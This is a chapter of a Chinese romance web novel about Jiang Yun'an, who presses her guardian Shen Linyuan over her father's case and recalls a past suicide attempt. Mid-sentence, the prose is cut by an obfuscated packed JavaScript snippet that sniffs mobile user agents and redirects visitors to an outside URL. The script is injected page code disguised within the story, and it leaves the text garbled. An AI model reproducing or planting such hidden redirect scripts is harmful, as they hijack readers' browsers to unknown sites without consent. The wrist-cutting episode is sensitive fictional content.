20. 第二十章
作品:《欲尽难尽[蓄谋已久]》 院子里,紫藤花开得正盛。那些淡紫色的花穗从廊架上垂着,在午后的风里轻轻摇曳,像一串串紫色风铃。
蒋云安站在月季前,手里握着一把花剪,小心修剪着冒出来的枝条。
她还是回到了临溪公馆,毕竟,总要问清楚沈临源的意思。
她身上穿着米白色的长裙,外罩一件墨绿色的花艺围裙,围裙已经洗的有些褪色。
这些花草本是沈临源让人种的,他说这里太冷清,“该有些活气。”
恰好她也喜欢摆弄这些东西,时不时照看着,浇水、施肥、修剪,竟也长得枝繁叶茂。
阳光落下的光点在她脚边跳跃,像碎了一地的金子。
“蒋小姐,您有电话。”
刘妈的声音从室内传来。
蒋云安应了一声,放下剪刀,解下身上的围裙,随手搭在一旁的户外椅上。她在裙子上拂了几下,摆落沾染的碎叶。
手机在客厅茶几上振动,来电界面显示着蒋云平的名字。
笃、笃、笃,厨房里传来菜刀切在案板上的声响,蒋云安瞥了一眼刘妈忙碌的背影,一边接通电话一边上了二楼。
“什么事?”她打开卧室的窗,语气冷淡。
从卧室的窗户里向下望,恰好可以看到院子里的花丛。天色渐暗,暮色四合,紫藤花的花色瞧着变成近乎黑色的深紫色。
蒋云平吊儿郎当地开口,“妈问你周末要不要来家里吃饭,说要感谢你救了我。”
蒋云平口中的妈,自然是他的亲生母亲,蒋云安的继母,赵美柔。那个女人向来精明,私下有自己的小金库,所以即使大伯吞了他们家的财产,她依旧有些存款能勉强维持生活。
蒋云安和赵美柔的关系从来就不好,父亲去世后,两人更是吵得不可开交,最终她被那个女人赶出家门,若不是沈临源收留,她大概真要流落街头。
现在请她回去吃饭?保准是黄鼠狼给鸡拜年,没安好心。
蒋云安拒绝道,“不用了,我们之间没什么深情可演,我救你只是念在从小一起长大的情分,以后还是井水不犯河水为好。”
“不过,那天赎你的钱记得还我。”她补充说,话语里没有犹豫的意思。
她可不是慈善家,白白被人吃。
*
傍晚时分,沈临源回来了。
蒋云安听到楼下车子熄火、车门关闭的动静,从房间里出来。站在楼梯上,她看见沈临源正将黑色西装外套挂在衣帽架上,白衬衫下的肩背宽厚有力。
“陈自明的事,是不是你做的?”她讲话直截了当,直接质问他,话里带着问责的意味。
沈临源微微躬身换下皮鞋,他没有立即转身。
“什么意思?”
他似乎不知情。
“这么久不见,一见面就没头没尾地怪罪我?”沈临源说话语气不好,像是有些不高兴。
蒋云安有些心惊,但她更想得到自己想要的答案,她走下楼梯,“我去警局找陈警官,结果他们说陈警官已经调走了,连调去哪里都不告诉我。”
迈下最后一级台阶,她停下来,没有继续走近他,隔着半个客厅继续说,“怎么这么巧?”
沈临源终于转过身来,眸色深不见底,“你去警局了。”
“我告诉过你,不要私自插手这件事。”他的声音沉了下来。
听到这话,蒋云安说话的声音大了起来,“什么叫私自插手,这是我爸爸的案子,本来就是我家的事,我不能管吗?”
她的心里一阵刺痛,他总是这样轻飘飘地限制她、轻视她,仿佛她的作为都是胡闹。
沈临源起身,向她走了几步,“好,你家的事,你自己能解决吗?”
两个人之间的距离不足半米,鼻息间围绕着他身上的若有若无的烟草味,蒋云安的目光落在他脸上,看到他的下巴上冒着点点胡茬。
他们两个人有多久没见了?一周?还是更久?沈临源最近在忙什么?他也有烦心的事情吗?
这些念头一闪而过,很快被她压下。
回过神来,蒋云安微微仰头,和他对视着,嘴硬道:“我当然能查出真相,只要某人别暗中搞鬼。”
她确信就是沈临源动用关系调走了陈警官,只是他不肯承认罢了。沈家在这座城市的势力盘根错节,政商两届皆有脉络,他要是想掩盖什么,抹去什么,不过是易如反掌的事情。
沈临源轻轻嗤笑一声,笑声很短,“此事凶险,你自己查只是死路一条,不会有结果。”
“每次都不让我管,可你又迟迟没有动作!”
他简直要逼疯她。
沈临源的目光在她脸上停留良久,一声叹息后,他的声音低缓下来,“你要先让自己的生活走上正轨,执着在这些事情上只会让自己再次身陷囹圄,难道,你还想自杀一次吗?”
自杀?这两个字砸在她头上,蒋云安整个人有些恍惚,耳畔嗡嗡作响。
那是半年前的事情。
父亲去世不久,她和赵美柔大吵一架,被赶出家门。
那个时候,她已经和沈星纬分手。
她无处可去,脑海里竟浮现出沈临源的模样。
*
她和沈星纬去过那间寺庙之后,后来她独自前去,却被一个小和尚拦在偏殿外。
“施主,此处不对外开放,请回吧。”小和尚双手合十。
“之前还能进去呢,”她当时不解,心里莫名有些恼火和慌乱,仿佛连菩萨都不肯听她的祈愿,“怎么这回不能去了?”
小和尚垂下眼:“施主怕是记错了,这里向来不对外开放。”
她不信,非要进去看看。争执间,无助和委屈堵在胸口,让她几近落泪。
沈临源那时也在庙里拜佛,是他帮她解围。他从另一侧回廊走来,瞧见她之后,眉目间有些意外,很快恢复一贯的疏冷。
沈临源只对和尚说了几句话,对方便恭敬退开。
他们一起走进那间偏殿,殿内光线昏暗,空气里弥漫着多年积累的香火味道。
沈临源走到香案前,取了三柱檀香点燃,动作熟练,修长的手指夹着香尾,手腕微微一抖,香头的明火便熄了,青烟袅袅升起,形成一层薄雾。
“我明明记得之前来这儿拜过,可那个和尚非说这里不让进人,这不是可以拜吗?”蒋云安还在纠结方才小和尚的话。
“不对普通香客开放罢了。”沈临源答了一句,将香插入香炉,灰白色的香灰簌簌落下。
他的目光落在菩萨像上,问道:“你知道这殿里供的什么菩萨吗?”
“是地藏菩萨。”蒋云安回答道。
地藏菩萨曾发大愿,地狱不空,誓不成佛。度尽众生,方证菩提。
她也点了香,跪在蒲团上,闭眼祈愿。
“你求什么?”他问。
蒋云安睁开眼睛,仰望着鎏金菩萨像,她求父亲安息,求真相大白……千言万语堵在喉头。
她摇了摇头,“不能告诉你,说出来就不灵了。”
离开时,他送她到寺门外,淡淡说了句:“以后有事可以找我。”
当时她没把这话放在心上,只觉得他是沈家长辈,只是和她客套一下。中间没有沈星纬这层关系,他们两个人以后还能有什么交集呢?
后来,蒋云安才后知后觉到,求佛不如求他。
求佛拜神,虚无缥缈,而他是那日在佛前对她伸出援手的人。
*
冬日里,她只穿一件单薄的打底毛衣,脚上还是棉袜和居家拖鞋。
赵美柔将一杯冷水泼在她脸上,她气冲冲地冲出门,甚至没来得及披件外套。
没多久就开始下雪,开始只是零星雪花,很快就变得密集,大片大片飘落。
蒋云安抬头望着灰蒙蒙的天空,雪花飘落在鼻尖上,转瞬化成冰凉的水珠,只留下一抹湿意。
记不清那是那一年的第几场雪,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166192|196718||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
只觉得每一片雪花都很大,像羽毛似的,纷纷扬扬覆满整个世界。
她不愿回去向赵美柔低头,鬼使神差地走到沈家门前。
寒风凌冽,柏油路上的积雪已经铺满一层,脚踩着发出咯吱咯吱的声响。
她站在门前,没有敲门,只是站着,被风雪描摹着轮廓。落雪洒在她头发上、肩膀上,来不及化开,逐渐积攒出白色的、脆弱的外壳,睫毛上很快凝结出细小的白霜。
铁门打开了,黑色的轿车从里面驶出,在她面前停下,车轮碾过积雪,发出沉闷的声响。
车窗降下,露出沈临源轮廓分明的侧脸。
他看着她这副狼狈模样,眉头微蹙,“上车。”
车内暖气开的很足,与室外简直是两个世界,蒋云安蜷缩在副驾驶座上,她的手指通红,几乎失去知觉,身体感受到暖意,才开始慢慢恢复知觉。
沈临源没有说话,只是将暖气调高。
过了很久,他才开口,语气不好,“你这是演的哪出戏?望夫石,还是殉情?”
蒋云安低着头,双臂抱紧自己,没有回答。她只感觉自己的呼吸变得滚烫,眼前也有些模糊。
沈临源伸出两指在她额头试探温度,眉头皱得更紧。
他没再说什么,随即调转方向,带她去了临溪公馆,叫来家庭医生。
蒋云安便在这住下了。
送她过来后,蒋云安连着几天都没见沈临源,都是一个叫刘妈的保姆负责照顾她的饮食起居。
这个刘妈,五十来岁年纪,面相严肃,做事倒是利落,每天给她端茶送药、准备三餐也不含糊,但是话里话外都在暗示她不该给沈临源添麻烦。
“先生很忙的,哪有空天天往这跑。”
蒋云安只是沉默,她就像一片无根的浮萍,随波逐流,不知去处。
沈临源那句有事可以找他,果然只是出于礼貌或者一时兴起的客套话吧?而她,竟然可悲地当真了,还像个傻瓜一样找上门去,真是可笑至极。
在这个世界上,她真的什么都没有了。父亲走了,家没了,旁人似豺狼虎豹,一叶扁舟怎么在风浪中保全自身?
被绝望缠绕着,她难受得喘不过气。
温热的水放满浴缸,她踏进去,手腕对着水面。
刀刃割开皮肤的瞬间并不是很痛,血丝在水里氤氲开来,像滴入清水中的红墨水。
巧的是,沈临源就在那个时候回来了。
*
“活在云里雾里才是真的陷在死路里。”蒋云安紧盯着沈临源,轻声道,“我想知道真相这有错吗?”
沈临源抬起手,用力揉了揉眉心,接着几日连轴转,很是疲惫,暗哑的声音里也有无奈,“非要自己逞强,那蒋建宏那边,还需要我吗?”
蒋云安一时哑然,她不懂生意场上的事情,自然不知道怎么从蒋建宏手中拿回财产。
她咬了咬下唇,最终选择让步,“好,我尽量不去管这些事。”
沈临源见她服软,脸色好转了一些。
他抬手,拇指捏了捏她脸颊的肉,低声道,“我会处理,你病刚好,别总折腾自己。”
顿了顿,他又问,“晚饭吃过了吗?”
蒋云安点点头。其实她没什么胃口,只喝了半碗汤。
沈临源看了她一眼,“去休息吧。”
蒋云安不想再和他多说什么,转身上楼。
沈临源站在原地,看着她的背影消失在楼梯转角,又过了片刻,听着楼上传来轻微的关门声,他才也抬起脚步,踏上楼梯。
蒋云安回到房间,轻轻关上门。她背靠在实木门板上,听到门外的脚步声,沈临源经过卧室,向书房的方向走去了。
蒋云安站了许久,小腿有些麻木。
她现在什么都不会,什么都不懂,便只能一直处于被动的位置。
不行,不能这样,沈临源并没有坦诚对她,终究不可完全依赖,她还是要靠自己。

